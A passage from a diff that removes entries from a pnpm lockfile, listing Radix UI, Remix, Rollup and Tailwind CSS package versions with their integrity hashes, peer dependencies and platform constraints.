true - - '@radix-ui/react-checkbox@1.3.3': - resolution: {integrity: sha512-wBbpv+NQftHDdG86Qc0pIyXk5IR3tM8Vd0nWLKDcX8nNn4nXFOFwsKuqw2okA/1D/mpaAkmuyndrPJTYDNZtFw==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-collection@1.1.7': - resolution: {integrity: sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-compose-refs@1.1.2': - resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-context@1.1.2': - resolution: {integrity: sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-dialog@1.1.15': - resolution: {integrity: sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-direction@1.1.1': - resolution: {integrity: sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-dismissable-layer@1.1.11': - resolution: {integrity: sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-focus-guards@1.1.3': - resolution: {integrity: sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-focus-scope@1.1.7': - resolution: {integrity: sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-id@1.1.1': - resolution: {integrity: sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-popover@1.1.15': - resolution: {integrity: sha512-kr0X2+6Yy/vJzLYJUPCZEc8SfQcf+1COFoAqauJm74umQhta9M7lNJHP7QQS3vkvcGLQUbWpMzwrXYwrYztHKA==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-popper@1.2.8': - resolution: {integrity: sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-portal@1.1.9': - resolution: {integrity: sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-presence@1.1.5': - resolution: {integrity: sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-primitive@2.1.3': - resolution: {integrity: sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-primitive@2.1.4': - resolution: {integrity: sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-roving-focus@1.1.11': - resolution: {integrity: sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-select@2.2.6': - resolution: {integrity: sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-separator@1.1.8': - resolution: {integrity: sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-slot@1.2.3': - resolution: {integrity: sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-slot@1.2.4': - resolution: {integrity: sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-tabs@1.1.13': - resolution: {integrity: sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-tooltip@1.2.8': - resolution: {integrity: sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/react-use-callback-ref@1.1.1': - resolution: {integrity: sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-controllable-state@1.2.2': - resolution: {integrity: sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-effect-event@0.0.2': - resolution: {integrity: sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-escape-keydown@1.1.1': - resolution: {integrity: sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-layout-effect@1.1.1': - resolution: {integrity: sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-previous@1.1.1': - resolution: {integrity: sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-rect@1.1.1': - resolution: {integrity: sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-use-size@1.1.1': - resolution: {integrity: sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==} - peerDependencies: - '@types/react': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - '@radix-ui/react-visually-hidden@1.2.3': - resolution: {integrity: sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: true - - '@radix-ui/rect@1.1.1': - resolution: {integrity: sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==} - - '@remix-run/dev@2.17.4': - resolution: {integrity: sha512-El7r5W6ErX9KIy27+urbc4SIZnIlVDgTOUqzA7Zbv7caKYrsvgj/Z3i/LPy4VNfv0G1EdawPOrygJgIKT4r2FA==} - engines: {node: '>=18.0.0'} - hasBin: true - peerDependencies: - '@remix-run/react': ^2.17.0 - '@remix-run/serve': ^2.17.0 - typescript: ^5.1.0 - vite: ^5.1.0 || ^6.0.0 - wrangler: ^3.28.2 - peerDependenciesMeta: - '@remix-run/serve': - optional: true - typescript: - optional: true - vite: - optional: true - wrangler: - optional: true - - '@remix-run/express@2.17.4': - resolution: {integrity: sha512-4zZs0L7v2pvAq896zHRLNMhoOKIPXM9qnYdHLbz4mpZUMbNAgQacGazArIrUV3M4g0gRMY0dLrt5CqMNrlBeYg==} - engines: {node: '>=18.0.0'} - peerDependencies: - express: ^4.20.0 - typescript: ^5.1.0 - peerDependenciesMeta: - typescript: - optional: true - - '@remix-run/node@2.17.4': - resolution: {integrity: sha512-9A29JaYiGHDEmaiQuD1IlO/TrQxnnkj98GpytihU+Nz6yTt6RwzzyMMqTAoasRd1dPD4OeSaSqbwkcim/eE76Q==} - engines: {node: '>=18.0.0'} - peerDependencies: - typescript: ^5.1.0 - peerDependenciesMeta: - typescript: - optional: true - - '@remix-run/react@2.17.4': - resolution: {integrity: sha512-MeXHacIBoohr9jzec5j/Rmk57xk34korkPDDb0OPHgkdvh20lO5fJoSAcnZfjTIOH+Vsq1ZRQlmvG5PRQ/64Sw==} - engines: {node: '>=18.0.0'} - peerDependencies: - react: ^18.0.0 - react-dom: ^18.0.0 - typescript: ^5.1.0 - peerDependenciesMeta: - typescript: - optional: true - - '@remix-run/router@1.23.2': - resolution: {integrity: sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w==} - engines: {node: '>=14.0.0'} - - '@remix-run/serve@2.17.4': - resolution: {integrity: sha512-c632agTDib70cytmxMVqSbBMlhFKawcg5048yZZK/qeP2AmUweM7OY6Ivgcmv/pgjLXYOu17UBKhtGU8T5y8cQ==} - engines: {node: '>=18.0.0'} - hasBin: true - - '@remix-run/server-runtime@2.17.4': - resolution: {integrity: sha512-oCsFbPuISgh8KpPKsfBChzjcntvTz5L+ggq9VNYWX8RX3yA7OgQpKspRHOSxb05bw7m0Hx+L1KRHXjf3juKX8w==} - engines: {node: '>=18.0.0'} - peerDependencies: - typescript: ^5.1.0 - peerDependenciesMeta: - typescript: - optional: true - - '@remix-run/web-blob@3.1.0': - resolution: {integrity: sha512-owGzFLbqPH9PlKb8KvpNJ0NO74HWE2euAn61eEiyCXX/oteoVzTVSN8mpLgDjaxBf2btj5/nUllSUgpyd6IH6g==} - - '@remix-run/web-fetch@4.4.2': - resolution: {integrity: sha512-jgKfzA713/4kAW/oZ4bC3MoLWyjModOVDjFPNseVqcJKSafgIscrYL9G50SurEYLswPuoU3HzSbO0jQCMYWHhA==} - engines: {node: ^10.17 || >=12.3} - - '@remix-run/web-file@3.1.0': - resolution: {integrity: sha512-dW2MNGwoiEYhlspOAXFBasmLeYshyAyhIdrlXBi06Duex5tDr3ut2LFKVj7tyHLmn8nnNwFf1BjNbkQpygC2aQ==} - - '@remix-run/web-form-data@3.1.0': - resolution: {integrity: sha512-NdeohLMdrb+pHxMQ/Geuzdp0eqPbea+Ieo8M8Jx2lGC6TBHsgHzYcBvr0LyPdPVycNRDEpWpiDdCOdCryo3f9A==} - - '@remix-run/web-stream@1.1.0': - resolution: {integrity: sha512-KRJtwrjRV5Bb+pM7zxcTJkhIqWWSy+MYsIxHK+0m5atcznsf15YwUBWHWulZerV2+vvHH1Lp1DD7pw6qKW8SgA==} - - '@rollup/plugin-commonjs@29.0.2': - resolution: {integrity: sha512-S/ggWH1LU7jTyi9DxZOKyxpVd4hF/OZ0JrEbeLjXk/DFXwRny0tjD2c992zOUYQobLrVkRVMDdmHP16HKP7GRg==} - engines: {node: '>=16.0.0 || 14 >= 14.17'} - peerDependencies: - rollup: ^2.68.0||^3.0.0||^4.0.0 - peerDependenciesMeta: - rollup: - optional: true - - '@rollup/plugin-node-resolve@15.3.1': - resolution: {integrity: sha512-tgg6b91pAybXHJQMAAwW9VuWBO6Thi+q7BCNARLwSqlmsHz0XYURtGvh/AuwSADXSI4h/2uHbs7s4FzlZDGSGA==} - engines: {node: '>=14.0.0'} - peerDependencies: - rollup: ^2.78.0||^3.0.0||^4.0.0 - peerDependenciesMeta: - rollup: - optional: true - - '@rollup/plugin-typescript@11.1.6': - resolution: {integrity: sha512-R92yOmIACgYdJ7dJ97p4K69I8gg6IEHt8M7dUBxN3W6nrO8uUxX5ixl0yU/N3aZTi8WhPuICvOHXQvF6FaykAA==} - engines: {node: '>=14.0.0'} - peerDependencies: - rollup: ^2.14.0||^3.0.0||^4.0.0 - tslib: '*' - typescript: '>=3.7.0' - peerDependenciesMeta: - rollup: - optional: true - tslib: - optional: true - - '@rollup/pluginutils@5.3.0': - resolution: {integrity: sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==} - engines: {node: '>=14.0.0'} - peerDependencies: - rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 - peerDependenciesMeta: - rollup: - optional: true - - '@rollup/rollup-android-arm-eabi@4.60.0': - resolution: {integrity: sha512-WOhNW9K8bR3kf4zLxbfg6Pxu2ybOUbB2AjMDHSQx86LIF4rH4Ft7vmMwNt0loO0eonglSNy4cpD3MKXXKQu0/A==} - cpu: [arm] - os: [android] - - '@rollup/rollup-android-arm64@4.60.0': - resolution: {integrity: sha512-u6JHLll5QKRvjciE78bQXDmqRqNs5M/3GVqZeMwvmjaNODJih/WIrJlFVEihvV0MiYFmd+ZyPr9wxOVbPAG2Iw==} - cpu: [arm64] - os: [android] - - '@rollup/rollup-darwin-arm64@4.60.0': - resolution: {integrity: sha512-qEF7CsKKzSRc20Ciu2Zw1wRrBz4g56F7r/vRwY430UPp/nt1x21Q/fpJ9N5l47WWvJlkNCPJz3QRVw008fi7yA==} - cpu: [arm64] - os: [darwin] - - '@rollup/rollup-darwin-x64@4.60.0': - resolution: {integrity: sha512-WADYozJ4QCnXCH4wPB+3FuGmDPoFseVCUrANmA5LWwGmC6FL14BWC7pcq+FstOZv3baGX65tZ378uT6WG8ynTw==} - cpu: [x64] - os: [darwin] - - '@rollup/rollup-freebsd-arm64@4.60.0': - resolution: {integrity: sha512-6b8wGHJlDrGeSE3aH5mGNHBjA0TTkxdoNHik5EkvPHCt351XnigA4pS7Wsj/Eo9Y8RBU6f35cjN9SYmCFBtzxw==} - cpu: [arm64] - os: [freebsd] - - '@rollup/rollup-freebsd-x64@4.60.0': - resolution: {integrity: sha512-h25Ga0t4jaylMB8M/JKAyrvvfxGRjnPQIR8lnCayyzEjEOx2EJIlIiMbhpWxDRKGKF8jbNH01NnN663dH638mA==} - cpu: [x64] - os: [freebsd] - - '@rollup/rollup-linux-arm-gnueabihf@4.60.0': - resolution: {integrity: sha512-RzeBwv0B3qtVBWtcuABtSuCzToo2IEAIQrcyB/b2zMvBWVbjo8bZDjACUpnaafaxhTw2W+imQbP2BD1usasK4g==} - cpu: [arm] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-arm-musleabihf@4.60.0': - resolution: {integrity: sha512-Sf7zusNI2CIU1HLzuu9Tc5YGAHEZs5Lu7N1ssJG4Tkw6e0MEsN7NdjUDDfGNHy2IU+ENyWT+L2obgWiguWibWQ==} - cpu: [arm] - os: [linux] - libc: [musl] - - '@rollup/rollup-linux-arm64-gnu@4.60.0': - resolution: {integrity: sha512-DX2x7CMcrJzsE91q7/O02IJQ5/aLkVtYFryqCjduJhUfGKG6yJV8hxaw8pZa93lLEpPTP/ohdN4wFz7yp/ry9A==} - cpu: [arm64] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-arm64-musl@4.60.0': - resolution: {integrity: sha512-09EL+yFVbJZlhcQfShpswwRZ0Rg+z/CsSELFCnPt3iK+iqwGsI4zht3secj5vLEs957QvFFXnzAT0FFPIxSrkQ==} - cpu: [arm64] - os: [linux] - libc: [musl] - - '@rollup/rollup-linux-loong64-gnu@4.60.0': - resolution: {integrity: sha512-i9IcCMPr3EXm8EQg5jnja0Zyc1iFxJjZWlb4wr7U2Wx/GrddOuEafxRdMPRYVaXjgbhvqalp6np07hN1w9kAKw==} - cpu: [loong64] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-loong64-musl@4.60.0': - resolution: {integrity: sha512-DGzdJK9kyJ+B78MCkWeGnpXJ91tK/iKA6HwHxF4TAlPIY7GXEvMe8hBFRgdrR9Ly4qebR/7gfUs9y2IoaVEyog==} - cpu: [loong64] - os: [linux] - libc: [musl] - - '@rollup/rollup-linux-ppc64-gnu@4.60.0': - resolution: {integrity: sha512-RwpnLsqC8qbS8z1H1AxBA1H6qknR4YpPR9w2XX0vo2Sz10miu57PkNcnHVaZkbqyw/kUWfKMI73jhmfi9BRMUQ==} - cpu: [ppc64] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-ppc64-musl@4.60.0': - resolution: {integrity: sha512-Z8pPf54Ly3aqtdWC3G4rFigZgNvd+qJlOE52fmko3KST9SoGfAdSRCwyoyG05q1HrrAblLbk1/PSIV+80/pxLg==} - cpu: [ppc64] - os: [linux] - libc: [musl] - - '@rollup/rollup-linux-riscv64-gnu@4.60.0': - resolution: {integrity: sha512-3a3qQustp3COCGvnP4SvrMHnPQ9d1vzCakQVRTliaz8cIp/wULGjiGpbcqrkv0WrHTEp8bQD/B3HBjzujVWLOA==} - cpu: [riscv64] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-riscv64-musl@4.60.0': - resolution: {integrity: sha512-pjZDsVH/1VsghMJ2/kAaxt6dL0psT6ZexQVrijczOf+PeP2BUqTHYejk3l6TlPRydggINOeNRhvpLa0AYpCWSQ==} - cpu: [riscv64] - os: [linux] - libc: [musl] - - '@rollup/rollup-linux-s390x-gnu@4.60.0': - resolution: {integrity: sha512-3ObQs0BhvPgiUVZrN7gqCSvmFuMWvWvsjG5ayJ3Lraqv+2KhOsp+pUbigqbeWqueGIsnn+09HBw27rJ+gYK4VQ==} - cpu: [s390x] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-x64-gnu@4.60.0': - resolution: {integrity: sha512-EtylprDtQPdS5rXvAayrNDYoJhIz1/vzN2fEubo3yLE7tfAw+948dO0g4M0vkTVFhKojnF+n6C8bDNe+gDRdTg==} - cpu: [x64] - os: [linux] - libc: [glibc] - - '@rollup/rollup-linux-x64-musl@4.60.0': - resolution: {integrity: sha512-k09oiRCi/bHU9UVFqD17r3eJR9bn03TyKraCrlz5ULFJGdJGi7VOmm9jl44vOJvRJ6P7WuBi/s2A97LxxHGIdw==} - cpu: [x64] - os: [linux] - libc: [musl] - - '@rollup/rollup-openbsd-x64@4.60.0': - resolution: {integrity: sha512-1o/0/pIhozoSaDJoDcec+IVLbnRtQmHwPV730+AOD29lHEEo4F5BEUB24H0OBdhbBBDwIOSuf7vgg0Ywxdfiiw==} - cpu: [x64] - os: [openbsd] - - '@rollup/rollup-openharmony-arm64@4.60.0': - resolution: {integrity: sha512-pESDkos/PDzYwtyzB5p/UoNU/8fJo68vcXM9ZW2V0kjYayj1KaaUfi1NmTUTUpMn4UhU4gTuK8gIaFO4UGuMbA==} - cpu: [arm64] - os: [openharmony] - - '@rollup/rollup-win32-arm64-msvc@4.60.0': - resolution: {integrity: sha512-hj1wFStD7B1YBeYmvY+lWXZ7ey73YGPcViMShYikqKT1GtstIKQAtfUI6yrzPjAy/O7pO0VLXGmUVWXQMaYgTQ==} - cpu: [arm64] - os: [win32] - - '@rollup/rollup-win32-ia32-msvc@4.60.0': - resolution: {integrity: sha512-SyaIPFoxmUPlNDq5EHkTbiKzmSEmq/gOYFI/3HHJ8iS/v1mbugVa7dXUzcJGQfoytp9DJFLhHH4U3/eTy2Bq4w==} - cpu: [ia32] - os: [win32] - - '@rollup/rollup-win32-x64-gnu@4.60.0': - resolution: {integrity: sha512-RdcryEfzZr+lAr5kRm2ucN9aVlCCa2QNq4hXelZxb8GG0NJSazq44Z3PCCc8wISRuCVnGs0lQJVX5Vp6fKA+IA==} - cpu: [x64] - os: [win32] - - '@rollup/rollup-win32-x64-msvc@4.60.0': - resolution: {integrity: sha512-PrsWNQ8BuE00O3Xsx3ALh2Df8fAj9+cvvX9AIA6o4KpATR98c9mud4XtDWVvsEuyia5U4tVSTKygawyJkjm60w==} - cpu: [x64] - os: [win32] - - '@tailwindcss/node@4.2.2': - resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} - - '@tailwindcss/oxide-android-arm64@4.2.2': - resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [android] - - '@tailwindcss/oxide-darwin-arm64@4.2.2': - resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} - engines: {node: '>= 20'} - cpu: [arm64] - os: [darwin] - - '@tailwindcss/oxide-darwin-x64@4.2.2': - resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} - engines: {node: '>= 20'} - cpu: [x64] - os: [darwin] - - '@tailwindcss/oxide-freebsd-x64@4.2.2': - resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} - engines: 